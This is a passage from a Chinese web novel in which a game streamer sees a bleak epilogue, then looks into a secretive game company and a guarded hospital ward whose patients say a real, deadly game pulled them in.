虽然是后传,但她也想知道自己离开之后,裴砚怎么样了。她到底有没有改变他的人生呢? 【稍等。】系统的声音在脑海中响起, 【玩家是无法直接参与和干涉后传cg的,这是一段不属于您的时光。】 随着系统的声音, 之芙的耳边响起了类似于影片播放前的“咔哒”声。紧接着, 一抹明亮的光线映入眼帘,游戏的结局也像画卷一般在她的眼前徐徐展开—— 古旧而封闭的村庄在长达一个月的混乱后再次迎回了它的主人。 裴砚、裴钰和小纸人们再次回到了村庄中,村子怪事频发, 死去的人回到家中, 村里的人只能苟延残喘。 裴砚不再像过去一样为村民们提供“帮助”,他还住在小楼里, 只是整个村子逐渐荒芜, 也再也没有人来拜访他, 称呼他“白先生”。 不过, 这些对于裴砚来说也没什么不好的。 如果不是村子里每天都会响起惨叫声, 光看他的生活,跟以前里也没什么不同,日出而作, 日落而息, 种种花养养菜, 闲暇时间去最近的镇子采购一些生活用品。 少了白先生的事, 他有了更多的时间。更多悠闲的时间,无更多聊的时间……还有更多等待的时间。 每隔一段时间, 裴砚就会去祠堂。 无人供奉,现在的祠堂早已变得破旧不堪,墙面积了灰, 墙角也结了一堆蜘蛛网,田野里来的小动物更是在这里安了家,密密麻麻的牌位依然高高在上,沉默地注视着每一个踏入这里的生物。 只是现在已经无人在意它们身上的灰尘了。 裴砚泰然自若地穿过积满灰尘的供桌,穿过蜷缩在墙角的狐狸和黄鼠狼,穿过地上还未收拾干净的血迹和尸体。 他又找到了那本书。上面记载着那个熟悉的预言。 第不知道多少次,他翻开它。 泛黄的书页被翻动时带出哗啦啦的声响,之芙从游戏外的视角第一次看到了这本“预言”的样子——这是一本看起来很古老的册子,排版和布局有点像是一种传统的像是“家谱”一样的东西。 上面写的字也是用墨水书写的,字迹娟秀,看起来像个女人的字——应该是裴钰的妈妈写的。 单独的一页上,上方写了兄弟两人的父母的名字,旁边注明了他们的结局,属于裴钰母亲的那一行写着:人至中年,死于疾病。 而属于裴砚父亲的那一栏则写着:殉情。 之芙微怔。 即使不是意外,也无法躲过命运吗?难道就非得要选择这位写下娟秀字迹的女人作为妻子,非得要……殉情吗? 还是说,即使知道命运的流向,也要选择这个人? 之芙有些惊讶,裴砚却对这一页上面的字司空见惯了,他表情平静地翻到下一页。 下一页,也是两个人,裴钰和裴砚。作为哥哥,裴钰的名字在他的前面,也是短短的几个字就宣判的另一个人的人生。 裴钰:英年早逝。 下一行是裴砚的:永驻此地,孤寡一生。 裴砚合上书本,书页闭合那刻发出了一声轻微的“噗嗤”声,但立刻就被风带远了。 像是一声轻轻的叹息。 纸人小九坐在窗台上,裴砚走过去,顺着她的视线往外看去—— 从这个角度,可以看到那条和外界联系的,也是唯一的路。 “芙芙会回来吗?”小九的声音响起。 裴砚摸了摸她的脑袋,风将他模糊的回答吹得很远很远。 …… 系统关闭了投影,之芙猛地从游戏仓里坐了起来! 【就这样?!】她不可置信地问,【这根本不是好结局!这、这、这……】 之芙玩过很多游戏,也见识过许多奇奇怪怪的结局,但——这个游戏太真实了。不仅是建模真实,里面的所有人的思考和行为都像是一个活生生的人。 所以打出来这个结局,让她尤其难受。 【而且为什么我不能干涉游戏的结局?】之芙问,【是这样看着吗?】 【是的,因为游戏已经结束了。】系统冷静地回答,【玩家您已经退出游戏了,当然无法干涉结局——我提醒过你了。】 【……】之芙抹了把脸,沉默了一会儿。 顿了顿,她说:【系统,帮我打开游戏选择界面。】 系统没有问她要做什么,乖巧地帮她打开了游戏选择界面,看着她在界面里不断翻找游戏,系统贴心地提醒:【如果您要选择一个游戏散心的话,系统可以帮您推荐一些比较简单有趣的游戏,虽然这些游戏还在测试中,里面的人物也不如您之前游玩过的游戏精美拟真,但这些游戏是我们目前还在开发的测试性游戏,您可以反复游玩,以保障您的游戏体验。】 系统没有说的是——这些都是游戏公司自主开发的真游戏,不会出现危险,仅做脱离测试用。 但之芙没有接话。她专心地从游戏界面的初始界面一页一页,不厌其烦地往后翻,直到翻到了最后一页—— 她发现了一个问题。 【系统,《她看不见》这部游戏为什么没有DLC拓展包内容?】 【我们还未跟进此项内容。】系统说,用公事公办的语气,【相关内容无制作意向或正在制作中,请玩家稍作等待。】 之芙:【……】 之芙更抓狂了。什么情况?为什么想要打拓展包的时候偏偏没有?而且……从系统的话语里看,他们似乎也没有想要给这部游戏制作DLC扩展包的意思?难道就只能打出这个结局了吗? 她抓了抓头发,忽然想起来什么,一把抓起手机,翻到手机通讯录里那个熟悉的名字——方寄南。 她发了条短信过去:【寄南哥,我刚刚打完了《她看不见》这部游戏,你知道这部游戏的相关内容吗?】 方寄南是游戏公司的负责人,他应该知道相关的消息吧? 可之芙足足等了十几分钟,对方都没有回复消息。 之芙有点着急,直接登陆了游戏,往游戏的好友栏查找——显示对方登陆已经在八天前了。 之芙看了一眼时间,工作日下午四点。往常这个时间方寄南应该正在工作时间,他回消息很快,几乎每次都是秒回,有时候还主动来找之芙聊跟这个游戏相关的内容。 现在这个游戏还在开发阶段,正是最忙碌的时候,即使一时休假,作为游戏公司的重要负责人,也不至于连续一周都不登录游戏吧? 奇怪。 第132章 间章 看得还挺开。 一辆不起眼的车停在了游戏公司的门外。 之芙从车上下来, 摘下墨镜,打量着面前这栋大楼。 上一次她来的时候是为了打探消息,悄悄潜入大楼的, 但现在方寄南的失联却意外给了她一个探访大楼的机会。 手机忽然一阵嗡鸣,之芙看了一眼手机。 是司妈妈发来的消息:【芙芙, 刚刚阿姨告诉我你出门了?不回来吃晚饭吗?】 【嗯。出门逛逛。】之芙回答。她暂时不想告诉司妈妈自己来了这个公司——从上次的发现来看, 司苍跟这个游戏公司关系匪浅。她倒不是怀疑司妈妈跟司苍串通,司妈妈已经很久不过问司苍的事情了,只是她担心司妈妈会在饭桌上说漏嘴。 所以——抱歉啦妈妈, 我还有一个谜团没有解开, 等我挑战完这个谜团再向你道歉!之芙想起自己对系统发的誓,在心里对司妈妈说, 然后回复她:【妈妈, 我在外面跟朋友一起吃饭, 不用等我。】 【好。】司妈妈很快回复, 【难得见你这个小宅女出门, 好好跟朋友玩吧,晚上回家发个消息,我让司机开车去接你。】 【不用的, 我开了车出来。】之芙手指飞快地打完最后一段回复, 忽然想起了什么, 又问, 【妈妈,我哥今晚在家吃饭吗?】 她看了一眼时间, 已经五点半了。马上就要到饭点了,而司家的饭点永远是准时的。 很快,司妈妈回复:【不知道司苍什么情况, 反正现在还没看到他人,估计今晚加班呢,你也不是不知道他,工作狂一个。】 司妈妈说这话……之芙记得,她退休之前也是个不折不扣的工作狂。 【知道啦,妈妈。让爸爸陪你吃饭吧!】她给司妈妈发了一个亲吻的可爱表情包,把手机丢在一边。 司苍今天不回家不能说明什么。就像司妈妈说的,他是个工作狂,经常加班不回家吃饭。所以他现在也不一定就在游戏公司,也可能在其他地方加班…… 呃,听起来有点惨。 之芙摇摇头,把脑袋里的想法甩到身后。反正她这次是来找方寄南的,能发现什么最好,不能的话,能找到方寄南也不错。 她大大方方地走进游戏公司,在前台登记了自己的合作主播身份,指明要求要找自己的联系人方寄南,并且告知对方方寄南似乎失联了。 前台是个看起来有些年轻的小姑娘,她干脆利落地帮忙登记了访客之后打电话联系了方寄南所属的部门。 “抱歉,我已经通知他们了,估计很快吧……会有人下来接你的。”小姑娘一脸歉意地跟她说。 “噢,没事!我就在这里等等就好啦。不,不用给我接水,也不用坐,我就在这里等。” 之芙一只手臂支在前台,手掌托着下巴看向对方。 前台小姑娘放下水杯,干巴巴地跟她对视了一眼——女孩整个人“毫无边界感”地趴在前台,漂亮的大眼睛眨啊眨,清澈的眼瞳里盛满了笑意,视线落在她的脸上。 小姑娘哪见过这烟波架势,大脑宕机,当即红了脸。 五点半,这个时间,该下班的已经下班了,要加班的不知道加班到什么时候。 前台没什么人,之芙看着她,闲聊似地问:“你们这里忙吗?” “不、不忙……”前台小姑娘磕巴了一下,“平常……没什么人来。都是些上班打卡的员工。” “噢。”之芙盯着他笑盈盈地说,“我知道,像你们这样的互联网公司,人员流动很快对不对?每隔一段时间都要认新的人脸,好辛苦的工作。” “也,也没有。”小姑娘被她看得大脑发热,说出口的话也几乎不经过思考,“我上班一年了,好像没见过什么新面孔。” 嗯?之芙的脸上飞快地闪过一丝惊讶,但她很快压住自己的表情。 即使是普通公司,人事往来也是很正常的事情,怎么会有公司一整年没有人员变动?更何况是一家游戏公司。它们这些互联网公司,人员变动是最快的。 这个公司有问题。几乎是在瞬间,之芙就意识到了这一点——一整年没有任何人事变动的公司,或者说,组织。这样的组织,之芙只能想到两种答案,一种是高度保密的重大项目,另一种则是涉及军/政之类的高风险高机密项目。 “好吧……我还以为是方老师离职了呢。”之芙说,她对着前台小姑娘摇了摇手机,半开玩笑地说,“你看,他都不回我消息,我是上门来追杀他的。” 小姑娘表情明显有些犹豫。之芙看破了,但她没有主动询问,而是等待她自己思考。 果然,过了一会儿,她顿了顿,小心翼翼地问:“您跟方老师是什么关系?” “就是合作关系。”之芙坦白,“我有个很重要的事情要找他,游戏方面的。很着急,但我联系不上他,所以才来这里找他的。” “如果您说的是方老师的话……”小姑娘顿了顿,“我也不是很清楚他的事情,不过……” “不过?” “不过……前几天公司里有人出事了,不知道是什么情况呢,反正救护车开到了楼下,我就看到有人被抬了出去。”小姑娘说,“那场景,可吓死人了!更奇怪的是什么,您知道吗?” “是什么?”之芙又耐心地问。 小姑娘顿时像是找到了倾诉者般,一股脑地把自己的苦水倒了出来:“第二天我上班,向员工们打听是谁出事了,结果其他人都告诉我,根本没这事!” “嗯?”之芙也跟着皱起了眉头,“他们所有人都这么说吗?” “就是啊!”小姑娘狂拍大腿,又做出一副心有余悸的样子,“就是因为所有人都这么说,我才觉得奇怪。他们说根本没什么救护车,是我看错了。可是,那么大一辆车,又那么大的阵仗,谁能看错啊!” 之芙说:“也对,可能他们想瞒着你?” 这下换姑娘一脸诧异了:“瞒着我做什么?” 之芙想了想说:“嗯……游戏公司加班过度导致员工猝死,为了不引起骚乱于是瞒着你……你喜欢这个解释吗?” 姑娘张大了嘴巴。 “开个玩笑!”之芙赶紧说,“不过你要是觉得不对劲还是快点离职吧。”她也觉得这公司哪哪儿都不对劲,明显整个游戏公司的人都在瞒着她什么,能跑还是赶快跑吧。 姑娘挠了挠脑袋:“可是这里工资多又清闲。而且我就是个前台,也不至于猝死吧。” 之芙:“……” 看得还挺开。 第133章 间章 “就是游戏里的男主们!你最最最…… 说话间, 游戏公司的工作人员来接她了。 “是之芙老师吗!”闻见其人先闻其声,人还远远地在拐角处,之芙就听到了他的声音。 来人是个穿着衬衫的年轻男生, 头发衣服都打理得整整齐齐,胸前挂着一个崭新的工牌, 随着走动摇晃。 之芙不动声色地打量着他, 他还没走近,只迎面走来这个动作,之芙就觉得对方非常精神, 那股精气神就像是朝气蓬勃的学生似地, 一点儿也不像是常年在互联网公司工作的精明打工人。 “之芙老师,我是方老师的学生, 您叫我二柳就好了。”年轻男生指向自己的工牌, 上面写着【策划部】的名字。 “我是来找方寄南的。”之芙说, “他不在吗?” 其实之芙已经从前台小姑娘的话里猜出了一些线索, 但她按下不表, 只等看他们的表现。 男生挠了挠头,露出一个傻笑:“之芙老师,这个问题我没法回答您呢。我也不知道方老师去做什么了, 您知道的, 我只是他的学生, 我只知道他请了长假, 但具体的……学生也不好问是吧。” 之芙点点头,这个借口倒也没有问题。 “他走之前没有交代什么吗?”之芙追问, “毕竟之前他跟我谈测试合作的时候告诉我,有什么事都可以找他。” “有的有的,之芙老师。”男生——二柳非常殷勤地引着她往电梯走, “您是我们的重要合作老师,方老师走之前肯定有交代过!您看您是有什么要紧事吗?” 之芙瞥了他一眼。他的脸颊红彤彤的,也不知道是刚刚跑得太急还是因为在撒谎的缘故,双手交叠在衣服下摆不断地搓手,看起来有点紧张的样子。 “也不是什么要紧事。就是刚刚从游戏里退出来,有些想给你们的负责人提供一些游戏上的建议——当初我们签合同的时候,这项内容也是我的工作内容。” “噢!噢!这个我知道的。”男生连连说。 之芙觉得他紧张得很有趣。电梯里如此狭窄的空间,他只是帮忙按了一下电梯,就缩在一边,搓着手有点不敢看她。 有那么紧张吗?她又不是什么会吃人的洪水猛兽。 之芙等了等,觉得他可能是太紧张,紧张到连人类常用的客套话都忘了,于是主动开口说:“刚好,我还没有参观过合作公司呢。今天有这个荣幸吗?” “噢,噢,当然!”男生像是被点醒了似地,露出了恍然大悟又不安的表情,“应该的,应该的!其实,之芙老师,我很早就听方老师提起过您了,本来如果方老师不请假,我们应该像您发出一个正式的邀约,邀请您来参观公司的各个部门,今天有点着急,可能公司有点乱,希望您不要介意……” 他嘴巴不停地说出了一长串话,像是把紧张跟着这一长串话吐出来似的。 叮咚一声,电梯到了。 男生立刻止住话语,带着她往公司里面走。之芙打量了一圈,他们来到的楼层是专属于策划部和美术部的楼层,每间房间都贴有专属门牌,从半透明的玻璃可以隐约看到有人在里面对着电脑工作。 如果只是这样看的话,这里就只是一栋普通的游戏公司大楼。 但奇怪的是—— 从之芙走进这栋楼开始,所有人都看着她。这样说听起来有点恐怖,但不是恐怖片里那种莫名其妙又让人毛骨悚然的桥段,而是…… 所有人都眼冒星光,在她踏入室内的一刻,如同一朵朵看着太阳的向日葵般,笑着看向她—— 像是在看什么大明星似的。 “之芙老师!”“之芙老师,你好啊~”“之芙老师!你怎么来啦?” 之芙下意识看向身边的人——男生还涨红着一张脸,她噗嗤一笑:“你怕我吗?我有那么可怕吗?” “没、没有!”男生像是被点到名字一般立正,下意识看向之芙含笑的眼,又挠挠头,有点不好意思地说,“之芙老师,其实我一直是你的粉丝……” 之芙愣了一下。原来是粉丝。 “我一直在追您的直播!”男生说,“您的直播风格很有意思!噢噢对,我的这些同事们,他们也是你的粉丝……” 之芙:“……” 她有点不可思议:“这么多人……都是?” 她虽然也算是比较出名的游戏主播,但因为她几乎只播恋爱游戏,所以她的粉丝受众范围一直比较单一,跟那些全年龄向的主播肯定还是比不了的,更别说像这样“家喻户晓”的程度。 “嗯……”男生又挠头,“因为您是我们的合作主播的嘛,所以我们都会看您的直播,当然,主要是看看您玩游戏时的体验,没有冒犯您的意思……” 之芙一愣,随后脑海中灵光一闪—— 她想起了在《大卸八块》这部游戏里,她被蛊惑走丢,系统开外挂传送大门让戎火找到她的这件事。 当时在梦里,之芙清晰地听到了系统在跟一个人对话。 当时那个人喊系统:老大。 他询问系统要不要给戎火开门,听起来像是后台能操纵游戏数据的工作人员。 所以当时给她开后门救她的人,就是这群工作人员。 之芙再次抬起头,环视四周,一堆星星眼小迷妹小迷弟,眼巴巴地看着她。 还是有种不真实感……这些,都是她的粉丝? 一个女生从电脑桌后面递上一个本子和一支笔,还有一只饱含期待的眼睛:“芙芙……能给我签个名吗?” “当然可以。”之芙接过本子,签下名字后随手画了一个小爱心。 再抬头时——已经被星星眼包围了。 “芙芙!我超级喜欢你的!请给我也签个名可以吗?” “芙芙,以后你会经常来吗?我特别想特别想见到你!” 不仅有小粉丝,还有八卦磕cp的。 有人趴在电脑上问:“芙芙,你喜欢哪个角色啊?” 嗯?喜欢的角色? “就是游戏里的男主们!你最最最——喜欢谁呀?”说话的人把重音念得很明显。 无数双眼睛同时看来,之芙陷入了沉思。 第134章 间章 她心里已经有了一个答案,关于方…… “要说喜欢谁的话, 那当然是……” 之芙故意拖长的语调,环视一圈,已经有人迫不及待地接话了:“当然是人偶师, 对吧!” “又温柔又体贴,面冷心软, 是妥妥的贤内助!而且反差嘴硬年上真的很好吃!” “不不不, 肯定还是研究员吧?”又有人打断她的话,“虽然人偶师多了一些嘴硬,但是年上的禁忌感很弱啊, 研究员也是温柔体贴, 但比人偶师更成熟,有熟男的韵味……而且还有狐狸眼呢, 笑眯眯的狐狸眼最勾人了!” “能说吗我还是想吃兄弟盖饭……” “兄弟盖饭?兄妹盖饭!兄妹才是最合适的啊, 一夫一妻懂不懂。” 看来大家都有自己喜欢的角色。人偶师、研究员什么的, 是他们对于角色的代号吧?为什么不直接叫他们的名字呢? 眼看眼前已经吵得热火朝天, 像是什么cp粉大战现场, 终于有人大喝一声:“等等!我们不是在问芙芙吗!” 之芙笑眯眯地看着她们吵架,丝毫不生气。 比起论证自己更喜欢谁——她有别的想法。 直到所有人都安静下来,看向她, 等待着她的答案, 她才笑眯眯地抛出一个重磅炸弹。 “虽然有点冒犯, 但是比起游戏里的角色来说, 我觉得我更喜欢……系统。” 面前所有人脸上的表情都空白了一瞬,似乎是没想到她会这么回答。 之芙笑了笑, 用自然地语气说:“因为你们的系统很像人类,不是吗?” “哈……那确实!”有人飞快地接话,有人开玩笑, “毕竟系统负责游戏的管理,某种程度上来说,系统才是正宫诶。” “还是个很有容人之量的正宫!对的对的,我们芙芙就需要这么一个大度的正宫来管理后宫。” 气氛随即和缓下来,大家都喜滋滋地开着玩笑。 但之芙还是没有错过他们脸上一闪而过的错愕。 系统肯定是人类。之芙想,而且他是男性,系统用的一直是男声。他大概率是拥有后台操控权限的某个员工,多半是高层,因为后台员工叫他“老大”。 今天她能在这里见到系统吗?说不定,跟她擦肩而过的某个人,就是系统。 这座游戏公司,这个奇怪的游戏,真是越来越有意思了。 “之芙老师这次来,是想针对游戏体验提一些建议……之芙老师,这里是策划部和美术部,如果有什么建议可以直接说,大家都会记下来。数值策划和文案部还有技术部都在别的楼层,如果您想看看的话我也可以带您参观一下。” “不用了。”之芙笑着挥了挥手,她还有别的事情想做。“其实我只是突然联系不上寄南哥,有点担心他,所以才来看看的。如果真要提什么建议的话……你们知道《她看不见》这部游戏吗?” “知道知道!这不就是芙芙你刚刚在玩的游戏吗?” 看来这些人真的一直在追她的直播。 “我刚刚打通这部游戏,不过结局不是很好。我之前玩到过另一部游戏的DLC,所以想来问一下,你们有没有关于《她看不见》这部游戏的DLC开发计划?我真的很喜欢里面的主角,希望能玩到DLC,给他们一个好结局!” 如果一部游戏的反响很好,制作方把DLC的开发抬进日程是很正常的事情,在一个已经完成构建并且大获成功的世界观上做出一部新游戏,绝对是稳赚不赔的买卖,相比起制作新游戏来说也轻松很多,不会有制作方拒绝这样的事情。 但之芙打量着周围人的反应,却发现他们的态度有些暧昧不明,更准确地说—— 没有人接话,听到这句话时,反而有人在皱眉,似乎不太赞同她的观点。 不对劲,这座游戏公司哪里都不对劲。 “当然,我们会考虑的。”接她的男生有点不自然地笑着,“不过现在我们的游戏还没正式上线,估计要看上线后的具体反响吧。而且方老师不在,也没有人能拍板——等方老师回来,我会跟他提意见的!之芙老师您的意见对我们来说也很重要。” 从回答上看倒是滴水不漏。而且整个公司的布置也没什么问题,甚至从这些分工和房间的设计来看,这个“游戏公司”也算是专业了,比起很多真正的小作坊游戏公司来说都更像游戏公司。 但这里的人……好像不是很懂游戏啊。 跟着男人参观了一圈公司,之芙在心里下了结论:他们表面的伪装很到位,但在细节上就不那么严谨了。 眼看着太阳马上要下山了,之芙拒绝了他再参观其他部门的邀请,挥手告别了这一群热情的员工。 她回到车里,看了一眼时间。六点半,现在还不是医院下班的时间。 原本之芙打算去公司对面的咖啡厅打探一下最近有没有人见过方寄南,但现在似乎没有这个必要了。 她心里已经有了一个答案,关于方寄南在哪里。 她打了一个电话给司苍,耐心地等待了一会儿,但始终无人接听。 挂断电话,她驱车离开,低调的黑色汽车扬起一阵尘埃,一路不停地驶向那个熟悉的地方—— 那座她曾经住过一次的,奇怪的医院。 第135章 间章 莫名其妙的男人 车停在了医院门前, 之芙坐在车里再次打开手机,确认了一下时间。 还有几分钟就七点了。 远处的夕阳逐渐落进城市的另一端,整个城市沉入一片灿烂的金黄里。正是吃饭的时间, 医院门口停着摆摊卖盒饭的手推车,浓郁的香气正从中不断传出。 路边有些穿着病号服的病人在家人的陪同下悠闲散步, 树梢上的小鸟歪着头看向他们。 只是一幅平常景象罢了。 医院的正门上挂着红色的牌子, 上面写着:燕市第一人民医院。 作为之芙的魅魔从来没有来过人类的医院,她用手机搜了一下这个名字,只是一家普通的三甲医院, 除了“燕市最好的医院”这个头衔之外之外没有别的特殊之处。 之芙把车停好, 进了医院里。 现在是下班时间,门诊已经不出诊了, 只有急诊和住院部还常亮着灯, 大门前的门诊楼也没什么人了, 只能看到行色匆匆的医生和护士穿梭在楼道里。 这里只是一家医院, 没什么特殊的。之芙绕过门诊部和住院部, 从医院侧边的一条小路往里走—— 她记得,自己上一次住院的时候,住院楼是最里面一栋, 尤其幽静, 来往的人也不多。 为什么会在医院呢?之芙一边走一边思考着。 她上一次来到这家医院是因为在游戏里出现了事故, 但方寄南为什么也会在医院?他是在那个古怪的游戏公司了出事的, 多半也是因为游戏。 所以……这家医院,其实有一个隐藏的住院楼, 用来收治那些在游戏里出事的人吗? 视线里出现了一栋保安亭。之芙环顾四周,发现这栋住院楼跟前面的住院楼有些距离,四周围着高高的防盗栅栏, 仔细观察的话,还会发现庭院里还站着一些人高马大的保安,正在巡视四周。 要怎么混进去……这里完全是严防死守,找个死角混进去是不可能的。 不过,越是严防死守,越是让人好奇是谁在这里藏了怎样的秘密, 之芙想了想,稍微整理了一下衣服,大大方方地从正门走了过去。 “等等。”果不其然,她还没靠近大门,大门的守卫就拦住了她。“站住,你是谁?麻烦出示通行证。” 之芙没急着答话,她打量着对方,这是个体格健壮的中年男人,看起来三四十岁的样子,伸手拦她的时候露出袖子下的腱子肉,站姿笔挺,眼神正直,不像是普通的保安。 见她没有说话,保安稍微放轻了声音,解释道:“这里是医院的疗养部,病人需要静养,不是病人家属不能入内。” 大概是把她当成了误入的病人吧。 之芙说:“我是这里的病人,忘了带通行证了。” “你?病人?”保安露出了惊讶的表情,上上下下地打量了她好一会儿。 “嗯,你们这里有个赵轩医生,对吧?上次我昏迷住院,还是他来看的。”之芙说,见保安露出了半信半疑的表情,她顿了顿又说,“我是住在018病房的病人,我叫之芙。不信的话你打电话去问。我之前出院了,今天回来,是来看方寄南的。” 保安示意她留在保安亭里,转到一边去打了个电话。 之芙表情淡定地看着他的动作,实则心里有有些紧张——倒不是怕自己被发现,她是这个游戏的玩家这点不假,她不信这群人类敢对她怎么样,大不了就摊牌……只是这样会少掉很多解谜的兴趣罢了。 视线的余光处,因为她靠近保安亭,原本在大楼里站岗的其他“保安”也在不着痕迹地向她靠近,防卫这么严密,之芙更加笃定这里有不为人知的巨大秘密了。 过了片刻,保安挂断了电话,他表情严肃,一开口便道:“之芙女士,请在这里稍作等待,会有人带你进去找方先生的。” 之芙愣了愣,在她的预想里,要么成功,要么失败,怎么还有折中选项?她问:“是谁?” “是您的医生。”男人说,他锐利的眼睛上下扫过之芙全身,“他告知我您没有预约,所以他会来带您进去。” 这算是露馅了还是没露馅?之芙用余光扫视四周,“保安”们逐渐向她逼近,现在她是走不了了——她相信自己如果敢拔腿就跑,绝对不出三步就会被叉在地上。 就在之芙大脑飞速转动的,思考这是个什么情况的时候,她的视线余光里,忽然出现了一个坐在轮椅上的男人。 对方正自己推着轮椅,慢慢地往大门外走,四周的“保安”似乎跟他也很熟悉,对他进出的动作视若无睹。 之芙急中生智,忽然朝对方招手:“诶——” 他朝她看了过来。眼神从惊讶到微笑,只是一瞬间的事情。 对方似乎认识她。之芙从他的眼神里模模糊糊地意识到了这一点,但没来得及多想,她朝他跑了过去。 “不是说让你带我进门吗?怎么现在才来啊。”之芙抱怨着,非常自然地就伸手去推他身后的轮椅。一边推一边放低了声道,“我也是这个游戏的玩家,你能不能……” 她还没说完话,轮椅上的男人朝对面的“保安”们一挥手,那意思是不用再过来了。紧接着他也回头,非常自然地接上了之芙的话:“对不起,我晚来了一点……电梯有点慢。” “不用过来了,我带她进去。”他转头看向“保安”们,示意他们这里没有问题,“芙芙她也是游戏玩家,不过不住在这里。她很厉害,几乎没有受过伤,你们没有见过也很正常。抱歉,是我约了她今天见面的,来晚了一点,你们知道的,我的腿……” 他的态度实在是非常坦然,脸上挂着恰到好处的歉意的微笑,就连叫她的名字都那么亲密,一看就是关系亲密的好朋友,提起她“很厉害”的时候,语气还带着崇拜。 “保安”们没有怀疑,毕竟这个男人的腿实在是个不好提起的话题。 之芙敏锐地注意到了——他说“也”。也就是说,他也是这个游戏的玩家? 不过现在不是询问的好时机,虽然不知道他为什么对自己如此熟悉,但怕这个莫名其妙的男人反悔,之芙一溜烟地就推着他的轮椅进了医院大楼。 第136章 间章 “你是第十八个游戏玩家,而且是…… 一进入这栋“住院楼”的大门, 之芙就感觉出了不对劲。 虽然楼还是那个医院的楼,但里面的人完全跟之前在医院里见过的不一样。 没有悠闲散步的人,没有来去匆匆的医护, 只有一些站得笔直的“保安”在来回巡逻,偶尔能看到受了伤的人坐在花园里晒太阳, 但这些病人的表情也不像是外面那些病人似的轻松, 反而都一脸凝重,脸上笼罩着一层阴霾。 不过她什么都没有多,只是看了一眼就移开了视线, 推着轮椅进了电梯。 电梯门在门外许多“保安”的注视下缓缓合拢, 之芙还没发难,轮椅上的男人便开口道:“三楼。” “啊?哦……”之芙猝不及防的被他说得一愣, 伸出手按了电梯, 才反应过来:“你谁是?你叫什么?” 轮椅上的男人举起双手, 做出了一个投降的姿势:“这话应该是我问你吧?这位女士, 你什么都不知道, 就这样跟着我离开了?” 之芙盯着他:“你倒是什么都知道,说来听听。” 男人维持着举着手的姿势,无辜地看着她:“你想知道什么?” “那要看你能说出什么了。”之芙威胁地说, “把这座医院, 这个游戏, 还有你的身份全部告诉我。” 男人眨了眨眼, 另一只手指向自己:“就这些?……你就不想知道我的名字吗?” 之芙莫名其妙:“我要知道你的名字干什……” “我叫白飞烟。”男人说,“我知道你的名字, 这是交换。好了,现在你也知道我的名字了。” 之芙跟笑眯眯地伸手指着自己的男人面面相觑。 电梯向上运行着,发出细微的嗡鸣, 在沉默中清晰异常。 “你认识我。”之芙说,她用的是确定的语气。“而且,看起来你对我很熟悉。” “叮!”电梯到三楼了。” “不仅是我认识你,这栋楼里所有人都认识你。”男人笑了笑,推着轮椅出了电梯。之芙会意,跟上他。 “前面左拐,就是我的房间。先去里面坐一坐吧,如果你不介意的话。”白飞烟轻巧地掠过这个话题,“准确地说,我想你在我们这些‘病人’里还是挺有名的。” “病人?”之芙逼视着他,“这里看起来可不像是个普通病房。” 他们已经来到了“病房”门前。白飞烟推门进去,如之芙所说,这里看起来并不像病房,房间被分割成两室一厅,除了没有厨房之外,跟一间单人住房也没什么区别了。 “你也可以说我们是游戏玩家,没什么区别。”白飞烟耸了耸肩,示意之芙坐下。 之芙没有跟随他的示意坐下,只是居高临下地审视着他。 “……”白飞烟眨了眨眼,表情无辜得像是一只眼睛湿漉漉的小狗,“别这样看着我……其实我也是受害者,我们这种人很可怜的好不好。” “我们?我可不觉得我很可怜。” “你不一样啊。”白飞烟嘟囔着说。 “别打哑谜了。”之芙说,“把你刚刚的话详细说说。” “……”白飞烟重重地叹了口气。他说,“我每天都去花园。” “嗯。”之芙只觉得他莫名其妙。 他顿了顿,又强调说,“我每天都打扮得很漂亮,去花园等你。” “……?”之芙脑门上缓缓冒出一个问号,“等我?” “对啊,我认识你很久了。虽然你还不认识我。”他再次——已经是第三次了——眨了眨眼。像一个媚眼。 但之芙对这个“媚眼”完全免疫,只觉得莫名其妙。她敲了敲桌子:“说正事。” “……好吧!”白飞烟再次叹气。叹完这口长长的气,似乎是发现之芙对他完全没有感觉,他才认真地说:“你跟我们不一样。这栋楼里所有的玩家都认识你,你是018号求生者,对吧?” 之芙想了想:“我住过的那个病房门牌确实是018。” “我是02号。”男人说,“你可以出门去看看,是不是这样。” 之芙转出去,看到门前贴着一个门牌,确实是02号。 但她顺着门牌往旁边看的时候,却发现02号的右边是03,但左边,本该是01的地方,门牌却是019。 身后传来轮椅碾压过地板的咯吱声,之芙回头,看到白飞烟推着轮椅跟在他的身后。 “她也认识你。”他说,“她也很喜欢你。” “她……?” “她是这个游戏最早的玩家,第一个,是01号。”白飞烟说。 “这个游戏不是还没对外开放公测……” “那是‘游戏’。”白飞烟说,“你和我们不一样,你很幸运,你是真的在玩游戏。但对于我们这种不够幸运的人来说……这就是一场噩梦。” “你不是很想知道这栋楼为什么会叫疗养院吗?因为这里……最开始,这里是用来治疗精神病人的医院。” “最早的玩家,01号,她在某天醒来后突然表现出了恐惧、神经质和发狂的症状,被家人认为是罹患精神疾病,送来了这里。 她声称自己‘被某个伟大的游戏选中了,每隔一段时间后就会进入一个逃生恐怖游戏’,据她的描述,在这个游戏里死去就会真正地死亡。 ——所以,其实她到底是不是第一位游戏玩家呢?没人知道。 没人知道有多少人被这个游戏选中,也没有人知道到底有多少人在游戏中悄无声息地死去了。” “我是第二个。”白飞烟指了指自己,“我是第二个被注意到的人。所以某种程度上来说,我也很幸运。当我进入这个游戏的时候,早已经有了关于游戏的应对方案——虽然还没那么完善。” “如你所见,这栋医院里的‘患者’都是像我们这样的人,我们进入游戏,逃出生天,然后回到医院里,治疗伤口,为其他人提供经验。” “我呢?”之芙问。 “你?”白飞烟笑了笑,“你是第十八个游戏玩家,而且是最特殊的那一个。” “我没有被游戏选中。”之芙皱着眉说,“是方寄南来找我,他说有他的游戏公司想和我合作,直播他们正在开发的新游戏,我不知道你的游戏是什么……我们玩的真的是同一款游戏吗?” “……所以我说你很特殊。”白飞烟很轻很快地笑了一下,他坐在轮椅上,仰头看着他,有那么一瞬间,他的脸上浮现出一种仰慕的神情——这位02号玩家,现存的号码最大的存活者,正用一种仰慕的眼神看着她。 高低错落间,他脸上的表情让他变得像是一只小狗。 但那神情只是一瞬间闪过,之芙定睛看去的时候,他已经恢复了原来的表情。 他推着轮椅转向了楼梯间:“想看看你的‘病友们’吗?跟我来。” 第137章 间章 “他快死了。” “你说最早进入游戏的玩家不被人理解, 被人们视为‘精神病人’,因此你们无法得知还有多少人进入了这个游戏……”之芙一边跟随着白飞烟往前走,一边看向走廊里一间间病房。“那现在……?” “一些手段。”白飞烟说。“是01号把我们聚集起来的。刚进入游戏时我很迷茫, 也不知道发生了什么,直到01号找到了我, 